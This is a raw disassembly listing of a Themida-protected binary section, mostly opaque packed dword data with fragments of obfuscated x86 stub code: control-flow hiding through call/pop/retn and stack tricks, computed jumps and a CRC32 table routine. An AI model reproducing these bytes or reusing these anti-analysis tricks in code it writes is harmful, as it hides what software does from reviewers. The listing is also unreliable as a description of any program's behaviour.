662F4EB6h, 24470142h, 8B74B7F3h, 2ACh, 9E2C6504h, 0C95D1835h dd 3F8BC266h, 6FBBFE94h, 58EEA3C4h, 0D3749ED3h, 87A7089Eh dd 0B1D37CCAh, 6201A2F8h, 0DD0F9F2Bh, 6F56FABh, 281755B6h dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 30F315B1h, 12B606F4h dd 3272F439h, 4EB606F4h, 423E3CE5h, 0A51470CFh, 1B7h, 9D5CFF7Eh dd 5AC7B0FDh, 0A7E3AAC9h, 0B1E913B9h, 93AF57D6h, 5B770B8h dd 27CF375Fh, 6841B3B2h, 58E508B2h, 74DFB600h, 58E72F2Fh dd 5983B600h, 59918933h, 0D873B600h, 383AFB50h, 1477504Ch dd 4FABh, 59BA7C00h, 6F387035h, 6F5076CDh, 0CC1682CFh dd 563BAh, 0D0F621B6h, 51810AAh, 41EAB600h, 5EE74D7h, 0CD84A766h dd 0DA5E4FD4h, 5080Ch, 0B2F79BB6h, 0DA9FB46Dh, 0E7482355h dd 0ADF2BFE0h, 0B61D837Ch, 0F8F1EDEDh, 0BC141477h, 2F000000h dd 7EF45CFFh, 18BCFC23h, 5B44625Bh, 4724743Dh, 0B3F0BDDEh dd 951A53F2h, 0FA20690Ch, 0D4EE2A5Ch, 7BD4AF58h, 4FB5573Dh dd 54AF58DAh, 0C4227831h, 7D4FFDB2h, 5BDDFB3Eh, 37D368CCh dd 0EBE3A6CCh, 0F3ED2E6Dh, 0CC16827Fh, 40C93BAh, 20C671B6h dd 357819FAh, 561B3CE3h, 83CE6FD0h, 27AB1865h, 0A8199AF3h dd 158h, 7AC089B0h, 0B5F1B4D9h, 0E3276E0Ah, 0D3571240h dd 482CF70h, 7718FABFh, 2343EC3Ah, 0D577D86Eh, 86A50E9Ch dd 79E37BCFh, 6F6CBCFh, 0D473B9B6h, 9CDE5EFFh, 0BBD486A6h dd 78B05AD6h, 2BAF5817h, 97804207h, 0A4C768BEh, 17A2E620h dd 0B760AF58h, 0FF6348DEh, 0C1B0F45Ch, 0CDB6DAEh, 126CACDEh dd 0FD56AF58h, 25439F04h, 5812A7E3h, 66B29DAFh, 57D39AB9h dd 6E2746A9h, 481EE8C1h, 929136FFh, 9D3F8820h, 0ED468026h dd 0D7B600AAh, 0C4654E7Ch, 0CBCB3D89h, 0D8B600AAh, 40AEFCB5h dd 0E6EF7836h, 0EF49F0AAh, 0BADA1F40h, 49951AF3h, 228FC666h dd 0B2ABE281h, 9E9966h, 0E7BC0000h, 0AED80EB5h, 0B606F4DFh dd 735C8AA5h, 4159ADFh, 0CF6E3794h, 0DD7F6086h, 9A1E0F94h dd 0A5EC8F30h, 81D1FE78h, 0BCD21D32h, 4DEBB4F9h, 0C8A1E88Ch dd 66CFE46Bh, 4ED744D7h, 66A02447h, 1D328222h, 0C85E37E0h dd 208DC467h, 996D37Fh, 0E358F098h, 0A59793D4h, 3FE04D26h dd 0B6CA5712h, 0DAE5743Dh, 357C1F80h, 0E5A708E3h, 0F89954FAh dd 4657DCB5h, 672E4DD2h, 743D6043h, 0EE8DFE2Fh, 0F7217AA7h dd 0CA83A20Dh, 5AB4DA1Ch, 0E9E1A8CBh, 83A3AD8Ch, 0E043D5CEh dd 31Fh, 0CBB03A00h, 8C1158FFh, 0F4397013h, 0E340092Bh dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h dd 4AD792BFh, 529968FAh, 34890000h, 0E3895324h, 4C381h dd 0EB830000h, 241C8704h, 242C895Ch, 6F5D68h, 24048900h dd 4EC81h, 3C890000h, 5B74BF24h, 0CDBD7E80h, 31782F46h dd 8B545FFDh, 0C4812404h, 4, 8904EC83h, 0EA892414h, 5A085089h dd 5024048Bh, 405E089h, 5000000h, 4, 5C240487h, 5D2434FFh dd 4C481h, 83E90000h, 0FEFFF95Bh, 0D080959Fh, 0AEF161D2h dd 0B8C03EFEh, 6AF21CCh, 0E0FFC503h, 62B28DA2h, 3F80518Eh dd 494CFEDDh, 0A5C15A5h, 32D2D5DDh, 6AA03A8Ah, 5E88DF48h dd 3CA67968h, 7BCED3A2h, 36C363BCh, 155B09E4h, 9907B1Eh dd 0F96F023h, 229BB775h, 6D9BC8B0h, 42846C25h, 1BC748C0h dd 7ABBD2ABh, 0C14C298h, 231B8D8Dh, 8E806AFh, 24000000h dd 0E2B9E30Dh, 5AEA078Ah, 5B98D89h, 858906A8h, 6A821D5h dd 146985C7h, 5D2406A8h, 0FEB30000h, 0BBD85C7h, 6A8h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 4122B4C3h, 0F03D4EDh, 89h, 9B5FF00h, 8906A835h, 0A81BC9B5h dd 0DD95FF06h, 906A820h, 0A807D59Dh, 0FF006A06h, 0A81B3195h dd 0EBC08B06h, 12B39568h, 572A5FFCh, 6B429AEDh, 1CA20875h dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 267BDBBBh, 62973AFDh dd 238C3B9h, 3F00736Ah, 20D5A45Ah, 0F8C7ABBDh, 66DDE9C3h dd 38B9486h, 0B7C31E04h, 0E35500A9h, 2B636DC1h, 0B4530A6Fh dd 2C1184EAh, 0ABD6E574h, 0AD292D26h, 0C4E6894h, 99F4FF14h dd 795056C9h, 0E7AC3129h, 11E837h, 0C0D40000h, 3D65FCC0h dd 995766CCh, 483CA71Ah, 0E8B6DF9Ah, 12h, 0CB314EE7h, 93D83C17h dd 0D10E6CFBh, 0D9CF4D49h, 0BF0F343Bh, 815B5AD7h, 6F31C3h dd 33C28B00h, 1D858BC9h, 8B06A81Ch, 8B660B34h, 0D9F681C2h dd 0F116ECCh, 689h, 81858B00h, 8106A82Fh, 1986A2F6h, 43C68109h dd 10F309Ch, 0A80B29B5h, 0B348906h, 48B0Fh, 0B8660000h dd 0BD099948h, 6A83375h, 8902E983h, 0A830558Dh, 8B494906h dd 0A81EF995h, 9CF98106h, 0FFFFF91h, 2585h, 12E800h, 6FBF0000h dd 0E4E801DEh, 0F850EF7Ah, 0FD9D19D2h, 0EC0D4FBFh, 1DE95Ah dd 532A0000h, 0B6C2D9D4h, 0CC80A07Eh, 0FF79E982h, 9594FFFFh dd 4F67DBB7h, 0AF631145h, 0E97E59CAh, 31h, 5CA638DAh, 0Bh dup(0) dd 561E900h, 0C3660000h, 0FE933C8Ah, 0A4C46FBBh, 58F659EDh dd 526891Dh, 4475F248h, 5AE0ADCEh, 961459F9h, 0C0460F2Dh dd 31753C5Fh, 1515B7B5h, 0EFB606FBh, 5CFF82A9h, 73B0FD9Dh dd 53A5413Ah, 88EFE66Fh, 22811739h, 0B219B2C4h, 3AD7D375h dd 82ADAF58h, 6860C948h, 0BE3E5FC0h, 588D0C0Ch, 645DF6AFh dd 97DE7D26h, 0B3FA990Ah, 0DD98B56Eh, 41798329h, 3AF588Dh dd 0B0238028h, 642949AAh, 0CFD65F34h, 0FEA1E5ACh, 3093175Eh dd 727880Ch, 8D88804Ah, 0EF72AF58h, 0A4E46F83h, 0EFD87373h dd 0C41E142h, 0D256F5DEh, 584970A8h, 0F952AFh, 9F343BA8h dd 57004A16h, 49DC07FAh, 763C637Bh, 0A223133Ah, 0C28BA976h dd 10B8DB44h, 49A639B8h, 0B2FFE872h, 587B6DA8h, 57D8DFAFh dd 0DF726F5Bh, 568E12h, 0BA910000h, 0D6AEEA1Ch, 3394AF57h dd 33655E13h, 2380C96Ch, 57D6DDDBh, 0ECA9C6AFh, 0F3BADE47h dd 690C7DAEh, 973C8320h, 91F78F0Eh, 0E5460F2Eh, 37AC0C49h dd 0D6706C6Eh, 19712DFh, 0A8000000h, 8A1752FFh, 0EC317419h dd 0D55A1F33h, 1D248D7Eh, 4EF13570h, 0FB20662Fh, 8E135EFFh dd 0F03D7815h, 511B8431h, 1E83CA6Eh, 6304AB0Dh, 8C19CECFh dd 0DE6BC57h, 0B67716B9h, 5851DE97h, 0C761C26Fh, 0A5BF218Eh dd 30CDCD7Fh, 9CB7AF58h, 0FCFEA71Ch, 12DF8EF0h, 0A217h dd 5EFF2800h, 1765F713h, 32794755h, 37339018h, 0BB3B7F89h dd 2E09AF58h, 0BB4A4EF8h, 1F38AF58h, 3B721699h, 5AE1FF6h dd 8A105DFEh, 8484C66Ch, 7EAF58BBh, 0BBDC43D5h, 52BDA9F6h dd 1515B733h, 0EFAF58BBh, 59FA6B44h, 1A9E8F14h, 77BCF995h dd 58C580AEh, 0BB407882h, 2902AF58h, 51DE9BB8h, 0BEE3AED0h dd 0D45DCE6Dh, 0B9E6AFCDh, 42297760h, 3015D1E1h, 3F3012DFh dd 0B000000h, 8E135EFFh, 0FF910650h, 4EF3AFC1h, 6E2745EAh dd 0F73F3EB8h, 319EA23Fh, 0BAE7A2D0h, 24543761h, 0BEDFE64Fh dd 0FF88B7F3h, 408A1752h, 0AF57D745h, 737F20B7h, 12DFD687h dd 166h, 59FFB900h, 6909EA10h, 0AAEFF24h, 2C650899h, 337A1E87h dd 5F1635EEh, 0FDA60FD2h, 0B97A537Eh, 22670CF7h, 0A30CACFDh dd 0CD7ECC85h, 2846356Fh, 0E0525134h, 12A9D3F7h, 0F0B600A8h dd 2A49DA47h, 0D97C2763h, 453E7B18h, 0A8181ED8h, 0E88BB600h dd 83A37CA1h, 19F261CEh, 6C471998h, 5899BCC3h, 6847D34h dd 6AB7FE9Dh, 4ED39AB9h, 4FF513CBh, 0A7FD3Dh, 0A26CC7B6h dd 0B600A866h, 80FBF35Ch, 8818FE07h, 199A71A7h, 9B9F2957h dd 69B60065h, 0A6C56ACEh, 7F35BEFh, 0E6147758h, 162h, 3B59BA39h dd 3C711172h, 0B572A6F7h, 0A50EBC07h, 551C4085h, 0B9E6DFC8h dd 155CFF60h, 0D3199F88h, 60254AB5h, 0FFBC0BC3h, 2C288DBAh dd 0E063E533h, 0A2B600F4h, 0DD725D89h, 96021B98h, 49832935h dd 2032E344h, 1317BF98h, 0F1B60155h, 2E4DD246h, 0DD802367h dd 0F7960F94h, 8AA708BEh, 0C16E2B47h, 79B2FFE8h, 60CD4C3Fh dd 3557FDBFh, 0B60154F5h, 1B1FA9CFh, 0E9B60155h, 5CC3554Eh dd 822A7039h, 1476A896h, 5E71h, 0B6E7CA00h, 4DADDF0Bh dd 372F57D7h, 5357971Ch, 502F57D7h, 5BDE852Dh, 7262E39Ch dd 0EB8B1499h, 8AD9D16Bh, 80AB2F58h, 0F9990A97h, 0FF3E6FB4h dd 0A016A50Eh, 1ABBAA0Bh, 0E503754Eh, 5DEFE493h, 2F58095Dh dd 0F7130C27h, 58095555h, 2B042F2Fh, 92D4DFFh, 3C17AF58h dd 7C65EEh, 0E7400000h, 0F7D80EB5h, 509A1E5Bh, 0A5736h dd 85A609B6h, 75DE60C8h, 9DD47728h, 0F275EF69h, 409229E5h dd 0DFC8551Ch, 22C8B2E6h, 4AEEA7C1h, 0E48746E5h, 0EF6FB4ADh dd 0B6005BA6h, 6407E812h, 4B4FF92Dh, 39B6005Ch, 80219A1Eh dd 0FBBED33Ch, 6C3365B6h, 813A80C9h, 0C872A813h, 0BCAF802Fh dd 2CF53A15h, 1CE34009h, 5DFFEEB7h, 0E186C0E6h, 0A3C35EA4h dd 0EBD43288h, 8B9C0148h, 0B5E7062Dh, 0C9AED80Eh, 0BBB606FBh dd 0ECD71390h, 8970148h, 359E2C65h, 8D25F16h, 10100EEDh dd 878E1784h, 0B619ADE4h, 0D051DE97h, 0E0C3E7A2h, 0F9AAF7B2h dd 0FB3D165Fh, 43ECC908h, 0B5D8193Ch, 1C8703FCh, 77F33079h dd 0F7BBFC9h, 0EE491010h, 3C54Ah, 0B0E00000h, 1158FFCBh dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8952FA4Ah, 4C281E2h dd 83000000h, 143304EAh, 24143124h, 5C241433h, 16B868h dd 240C8900h, 414568h, 24048900h, 0CBB5352h, 811E950Ch dd 0A43B49EBh, 0FFEB8112h, 8136F710h, 1656DEC3h, 0C3814B59h dd 6E160E6h, 0F75BDA89h, 0DFEA81D2h, 89C45F63h, 0EC815AD1h dd 4, 81242489h, 42404h, 51580000h, 9E243481h, 8F231038h dd 0BF570840h, 2310389Eh, 5F087831h ; --------------------------------------------------------------------------- mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 3E22h dd 7FD12C9Ch, 0B8FD93DAh, 6AF2945h, 0E0FFC503h, 4DDEF476h dd 14F8AD76h, 4938E3h, 0E385A58h, 6361F0B1h, 601C329Eh dd 687E7B4h, 585FA277h, 2F864678h, 433600A1h, 4F997C00h dd 7423241Dh, 6A05FD8Dh, 3BA033F3h, 0DE8h, 0A35E1F00h dd 52109AEBh, 2E2F5EF3h, 8E0FDB1Dh, 8, 28E0Fh, 5B510000h dd 0C281F85Ah, 5BF0h, 6840Fh, 0C8810000h, 4AAA5B7Fh, 16CBBEh dd 0F5565000h, 32FF585Bh, 9E8h, 0E18E3E00h, 584EDC27h dd 0BF0FA5B2h, 53595BD8h, 815FFA8Ah, 0EA1994F1h, 38A0F32h dd 66000000h, 0F181D88Bh, 60CB2C59h, 6CDD8DBBh, 0D0F18128h dd 663BEB74h, 0A89D88Bh, 5800Fh, 2FB80000h, 8329981Ah dd 0BF0F02EAh, 834A4ADFh, 850F01EEh, 27h, 11E9h, 74292200h dd 0B8FE20C0h, 5989BA69h, 0BA29C033h, 1AE96049h, 0AC000000h dd 0E2DF267Dh, 391D9400h, 0E970C99Bh, 0FFFFFF7Ah, 6780629Ch dd 4D74549Ah, 14E8CCh, 0D6B90000h, 1CFC8957h, 5D53293Bh dd 0AF3C5C47h, 0BB7AD82Dh, 9E8730Ch, 11000000h, 0D6E5742Ch dd 292D26ABh, 0C0816653h, 58582D61h, 12E85Eh, 47830000h dd 0FA004812h, 19B0D9C2h, 0BEA01E23h, 328EF141h, 33D08166h dd 0C6815844h, 753Ch, 0A2D88166h, 894DBAE6h, 0EA817839h dd 78396C35h, 0FFDE8B66h, 59D98A36h, 0AC78166h, 49E9812Ah dd 0F6AA6C3h, 0B80h, 5880F00h, 0B8000000h, 0DA91CDBh, 0F387C181h dd 0BF662173h, 0E9812B37h, 65747F11h, 1890Fh, 89FC0000h dd 8057600Eh, 0F85A8ADAh, 4EE8361h, 0E015EF81h, 0EA83770Eh dd 0F850F01h, 0B8000000h, 56676A39h, 21E9h, 5A168800h dd 8166E0C5h, 0E94BB4E8h, 0FFFFFF93h, 90929612h, 2BB304Dh dd 0C05789Bh, 161AAE15h, 0C08BBD84h, 1ED9BD83h, 750006A8h dd 0E9BD8309h, 6A82Dh, 53501974h, 21B8C08Bh, 89000004h dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh dd 17740006h, 21B85350h, 89000004h, 0A807B585h, 9B9D8D06h dd 0FF06AA9Eh, 8B585BD3h, 0D59D8BC0h, 0C606A831h, 0A815D585h dd 52685606h, 0FF9CA8B8h, 0A80F95B5h, 71858D06h, 0FF06AB69h dd 68046AD0h, 1000h, 1F01B5FFh, 6A06A8h, 0C085D0FFh, 0D850Fh dd 0B80000h, 8D000000h, 0A871208Dh, 8BE1FF06h, 3C38BC8h dd 0F8053C40h, 8B000000h, 0D3030C50h, 2065BD83h, 0F0006A8h dd 0E84h, 659D8B00h, 8B06A820h, 0A8051985h, 51038906h dd 1F858D52h, 0FF06A844h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h dd 0A815D585h, 39685606h, 0FFD41F6Dh, 0A80F95B5h, 71858D06h dd 0FF06AB69h, 800068D0h, 6A0000h, 8BD0FF52h, 0D9BD83C0h dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h dd 421h, 0FD58589h, 9D8D06A8h, 6AAA213h, 585BD3FFh, 2DE9BD83h dd 740006A8h, 0B8535017h, 421h, 0FD58589h, 9D8D06A8h, 6AA9EB4h dd 585BD3FFh, 9D8DC08Bh, 6A82065h, 0C00B038Bh, 7840Fh dd 38B0000h, 89045B8Bh, 4B41B818h, 0EE80000h, 6C000000h dd 0D8E90424h, 533774B6h, 0B87AAF53h, 8B665AA5h, 99C281DAh dd 2B0000EAh, 0C68166FFh, 34FF7281h, 0F5F08117h, 5974CA25h dd 71C181F9h, 0B87CF607h, 61628CABh, 7E92C181h, 0C38B3BCFh dd 9E31E981h, 5E850BAh, 4B000000h, 2D6C7037h, 10E8h, 0E4060400h dd 0A39AA88h, 2DB9E47Dh, 0D807A8B2h, 5E6160F4h, 820F515Bh dd 15h, 10E9h, 9DEE0900h, 0B6C03AECh, 1FD93B6Ch, 0DEB2D349h dd 3A048FEEh, 75892EB8h, 78F78071h, 5301EF83h, 4F58D88Bh dd 0B70F4F4Fh, 34FF81F3h, 0FFFFF16h, 1785h, 26E900h, 5F640000h dd 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh, 8BBFECBEh dd 0FF58E95Fh, 339FFFFh, 0C1F36F2h, 0BE2A9497h, 0AE8h dd 75A97200h, 7818E57Eh, 609FC798h, 14E9h, 577D4F00h, 446FF16h dd 900E1D33h, 2668DCE9h, 0C615749Ch, 12E921h, 10AD0000h dd 82B582CFh, 0FC6A6593h, 1043D077h, 0BE695405h, 81665B61h dd 81A30BF0h, 7593C3h, 0CAB70F00h, 68h, 0C38B6600h, 0F3B70F5Ah dd 0F133C8Bh, 986h, 3890F00h, 0F000000h, 0F781C0BFh, 62460624h dd 81F18B66h, 0CB88ADEFh, 9810F3Ah, 60000000h, 8D51BB66h dd 61F3BF0Fh, 0C1E1C781h, 0BF0F6328h, 133C89F7h, 83D4E480h dd 8D0F02EAh, 3, 4ACF8B66h, 58C9814Ah, 8155B05Ch, 0FF8B58FAh dd 0B850FFFh, 0E9000000h, 34h, 10915EDDh, 8E0F01C3h, 15h dd 9E8h, 630A1F00h, 0B783ADDEh, 8E0F39E9h, 0 dd 0FF76E959h, 11A5FFFFh, 858510C3h, 474D31F8h, 852790CCh dd 1B699D8Dh, 0A8B806A8h, 89000013h, 0A819C985h, 0E806h dd 5580000h, 0Dh, 0A8E90389h, 13h, 4E9h dup(0) dd 0E9000000h, 0Fh, 3859280Ah, 2 dup(0) dd 0E9000000h, 4C6h, 8A105900h, 0C5410429h, 33773E5Ah dd 63A7E290h, 54D29FC0h, 0C768AACFh, 0F3933C8Ah, 0A5C768BEh dd 56F55EECh, 0C9138B1Fh, 7197BBFh, 240349B6h, 88155CFFh dd 0EF3B7617h, 0CB682144h, 2D723B5Ah, 7D12DF74h, 0CC088ED9h dd 39120C83h, 65CAA3F4h, 8D941D8Eh, 0C8092FEEh, 0ACF1EAA7h dd 9B04827Bh, 0A90AB0F9h, 60254A8Bh, 0A7F12A77h, 9BD272DDh dd 6DED8D16h, 57E0DFDBh, 918AA5AFh, 3FE0CD0Ch, 0BCF1927Dh dd 0D891B37Ch, 0B42E142h, 0E161A4A6h, 2242AF57h, 110A4FE3h dd 0D971138Ch, 0C91C2E5Eh, 327F68D0h, 0CA49EA43h, 787A3BB0h dd 12DF908Ch, 496Bh, 5CFFBC00h, 484E8815h, 0B2AF57D7h dd 827E7C25h, 4D12DFD6h, 298FC662h, 1EBh, 52FF3C00h, 74198A17h dd 5E439531h, 77161C45h, 0F9073A5h, 0C18CAE63h, 76A7E325h dd 0B29DAF58h, 0CF954D9h, 0B2F79CA3h, 0E1A8CB74h, 30BA7EA5h dd 47A0FAB2h, 0DD42D673h, 91D479BCh, 85AA7BB8h, 6DC63C0h dd 66B2FB9Dh, 7C1D248Dh, 2B4AF531h, 375B4462h, 0BCFC2D72h dd 7B3256CFh, 86CF6D36h, 0A9E08819h, 87288504h, 62C3A808h dd 0DF779450h, 67B312h, 0FF940000h, 158E135Eh, 0D89DB273h dd 0C469425Bh, 2A773A5Bh, 0E93DA79h, 0EE6D36A7h, 4E55DE4Fh dd 30BA602Dh, 4F1CC75Eh, 0C04AEE8Fh, 2E733E5Fh, 179CD975h dd 5959DAB1h, 12DF539Dh, 3FB8h, 5EFF8300h, 6FB4FD9Bh, 47D8453Eh dd 0B1C76C25h, 0D172793Ah, 0BAE00E9Ch, 57D70800h, 6CACDEAFh dd 56AF57D7h, 0D642EDFDh, 1752FFCDh, 0D745408Ah, 20B7AF57h dd 0D687737Fh, 16612DFh, 0B9000000h, 0F79859FFh, 4B2475BAh dd 571E3DE6h, 642D50B3h, 0D94AEE3Fh, 0A8F4BD16h, 0D6C0F802h dd 0A982AF57h, 0FE358051h, 1890F301h, 62B8F197h, 1AC07BD9h dd 649E0h, 93103BB6h, 0EC3A7312h, 42E12043h, 0B1AAEF83h dd 95935BD8h, 0EB60006h, 26FF2461h, 72E14E07h, 0C7991899h dd 5D10329Dh, 0B8BF60DBh, 0E54EDC95h, 1A20F46h, 0CC85A362h dd 62CB4ED3h, 1F9BBAC1h, 5ADEDh, 0C3BC97B6h, 0F9FBD747h dd 28021477h, 25000001h, 0D80EB5E7h, 0D71008B2h, 59F2AF57h dd 70F315DFh, 76B60006h, 67ABEC8h, 6748B600h, 0F6278CC5h dd 0DA759B1Dh, 68A9CC55h, 7D1E8FCAh, 0C1BAF330h, 0D095BA25h dd 74DE5A53h, 0BCE1A8CBh, 0A40940E3h, 8D1257FBh, 0F63B7E14h dd 6B2E44A5h, 52D348C6h, 8E672A4Bh, 209AA03h, 389C2A63h dd 1477F94Ch, 47ABh, 0B6E77C00h, 0D78484C6h, 0D57EAF57h dd 5CBCCEFCh, 262F57D7h, 289FD90Dh, 0C8C07AB7h, 0BA2F5835h dd 0FBB85991h, 0E872D147h, 2F57F1B0h, 0F9E849E6h, 0DC420C58h dd 6E17730h, 2B4FF92Dh, 19AF580Ch, 7C67E83Eh, 42000000h dd 0D80EB5E7h, 0ACFAEh, 159AB5B6h, 1AA0E98Ch, 3A7F13FCh dd 0AB74A4F5h, 9A5CC188h, 0B6000C99h, 7114FFE5h, 0B2AFB38h dd 0D3CCDD42h, 3E45EE45h, 2AD0561Fh, 0B3E5A8C9h, 0CFFB40F4h dd 0C2367A1h, 36E1B600h, 0B1CE78E2h, 93BCAF4Eh, 8BAA7BB8h dd 0AFC45DC2h, 0B7DC45EAh, 1AAADF2h, 0C5EE11A0h, 99EF4D5Ch dd 0AF4F2B6Fh, 453E19BCh, 920A67A1h, 5FF8C35Eh, 0A0C22DCBh dd 0E7604BEDh, 0AFE686B5h, 9EA10B6h, 9C9C266Fh, 66AF57D7h dd 47816BCDh, 0B6071A2Ah, 17D4BA3Ch, 0D3E04482h, 1390BB45h dd 6CBAF392h, 0EA2E5886h, 0D8B6070Ch, 0D1008B2h, 59F2B607h dd 0C467C860h, 9C3A208Dh, 70D2E6Ah, 0FD3B14B6h, 0FD6D636Bh dd 189972F4h, 0EF3B7211h, 0B2E02144h, 55911EF7h, 0A961C56Ah dd 84B3A9E8h, 60CF6942h, 272A7732h, 7F1E258Eh, 694941FBh dd 103BF4FDh, 9A05E327h, 0BC63B5F8h, 0F253D099h, 3, 0FFCBB0D5h dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 55E28952h dd 4BDh, 5DEA0100h, 8704EA83h, 525C2414h, 0C281E289h, 4 dd 4EA81h, 14870000h, 2C895C24h, 2F906824h, 1C890000h dd 0C4BA5224h, 8170E973h, 0C543ADCAh, 19B95138h, 0C117AB29h dd 0E1C105E1h, 0E9814107h, 344F5EEFh, 8959CA31h, 0EC815AD5h dd 4, 81242489h, 42404h, 835B0000h, 2C8904ECh, 8438F24h ; --------------------------------------------------------------------------- mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5517CE ; --------------------------------------------------------------------------- mov ch, 0A1h fstp tbyte ptr [ecx] mov eax, 6AF4723h add eax, ebp jmp eax ; --------------------------------------------------------------------------- jl short loc_5BE240 db 2Eh adc al, 5Ch jno short loc_5BE20A pop esi retn ; --------------------------------------------------------------------------- dd 0ED45560Eh, 0AE76994Fh, 2211F24Eh, 834D41A1h, 8221C5DCh dd 61290660h, 0C1756B1Eh, 432BB47Dh, 1329639Fh ; --------------------------------------------------------------------------- xor edi, ebx loc_5BE20A: ; CODE XREF: Themida_:005BE1E0j or al, 66h hlt ; --------------------------------------------------------------------------- db 0F5h, 42h, 6Ch ; --------------------------------------------------------------------------- mov dword ptr [eax+42h], 2B0036CBh cmp byte ptr [edx], 0C9h sbb eax, 13A4CF76h test [esi+36h], ebx cmp ebp, ebx inc ebx mov cl, 56h adc al, 0Eh add [esp+ecx*2], edi mov ecx, 9D7E2Ah retn ; --------------------------------------------------------------------------- dw 0B26Bh dd 386D0742h, 7B27CD37h, 0E9587F9Ah ; --------------------------------------------------------------------------- loc_5BE240: ; CODE XREF: Themida_:005BE1DBj cmp eax, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- pusha mov edi, [ebp+6A80D35h] sub edi, 4 xor ecx, ecx loc_5BE250: ; CODE XREF: Themida_:005BE277j mov eax, ecx mov ebx, 0EDB88320h add edi, 4 mov esi, 8 loc_5BE25F: ; CODE XREF: Themida_:005BE268j shr eax, 1 sbb edx, edx and edx, ebx xor eax, edx dec esi jnz loc_5BE25F inc ecx mov [edi], eax cmp ecx, 100h jb loc_5BE250 popa retn ; --------------------------------------------------------------------------- mov ecx, eax lea ecx, [ebp+6AF496Dh] push 0 push eax call sub_5BE292 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE292 proc near ; CODE XREF: Themida_:005BE28Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BE292 endp ; --------------------------------------------------------------------------- jmp short loc_5BE2E7 ; --------------------------------------------------------------------------- dd 97990A3Dh, 4DBD29FBh, 6006A817h, 0C6D958Bh, 840F06A8h dd 5, 0DADB8166h, 8D8961E6h, 6A805B9h, 1ADBD89h, 85C706A8h dd 6A81469h, 5F60h, 0E850006Ah, 3, 58C35820h db 89h, 44h, 24h ; --------------------------------------------------------------------------- loc_5BE2E7: ; CODE XREF: Themida_:005BE2A2j add al, 81h inc esp and al, 4 adc al, 0 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- inc eax push eax retn ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- mov dword ptr [ebp+6A80BBDh], 0 push 0 push ebx call sub_5BE309 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE309 proc near ; CODE XREF: Themida_:005BE301p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BE309 endp ; --------------------------------------------------------------------------- pop esi mov bx, cx push dword ptr [ebp+6A801B1h] push 0 push eax call sub_5BE32E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE32E proc near ; CODE XREF: Themida_:005BE326p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BE32E endp ; --------------------------------------------------------------------------- dw 0F74Bh db 0A6h ; ¦ db 27h ; ' db 0CBh ; Ë db 7Dh dd 13E8FBh, 2FF00000h, 0EF489720h, 0D055C73Eh, 905D7291h dd 0D2F0BBCEh, 0D5950341h, 5F06A830h, 0FFC7B70Fh, 0A820DD95h dd 25953106h, 6A06A80Bh, 3195FF00h, 8B06A81Bh, 0C76CEBC0h dd 687961CAh, 8C50A3BDh, 38D76180h, 71A32C26h, 3159E76Eh dd 0C16C64FCh, 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch, 8FC45F56h dd 1B8ED8D1h, 507625B6h, 95EB6459h, 66030DC4h, 12372D5Ch dd 2B6658h, 0DE320947h, 9259F66Eh, 0F62A3C69h, 33DA9F3Dh dd 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh, 0CA38BB56h dd 296DD7FCh, 0E86AECEDh, 5, 0A9F794A2h, 0DB86640h, 958B59E6h dd 6A81549h, 62F5C181h, 6E90000h, 3D000000h, 0B72A3F10h dd 18816886h, 9D290000h, 6A82F85h, 0DA81665Fh, 31FF3761h dd 1F89BD89h, 605E06A8h, 2840Fh, 61600000h, 2E218D8Bh dd 816106A8h, 42298DEEh, 0AE800h, 510A0000h, 16FCFB83h dd 0A044C486h, 2649850Bh, 815806A8h, 4D37F7F6h, 0A8F68132h dd 8B7AF416h, 0A801F585h, 51318906h, 5849F780h, 0F9E1E981h dd 0D08011CCh, 0DDC18121h, 0F11CCF9h, 1E8Ah, 85236000h dd 6A80151h, 11E9h, 75FDC300h, 976AC6Ah, 45905A93h, 2575E63Ch dd 4F611BF3h, 13850Fh, 0B7560000h, 32E95AD2h, 39000000h dd 0D9374A93h, 3F19D413h, 0AE9BDh, 65FA0000h, 0C842792Bh dd 0E835CAE3h, 0FFFF51E9h, 458090FFh, 16A482Ch, 0C6D0D4FCh dd 7D45B376h, 0AE5FA085h, 0D90CEBFCh, 9B7A3653h, 0FF35C4B1h dd 0E918E5F7h, 646h, 63AE9h, 21680F00h, 50153AE5h, 86CF69CAh dd 0B6F39F00h, 0E3AECF70h, 7999D8A7h, 0AE1195D8h, 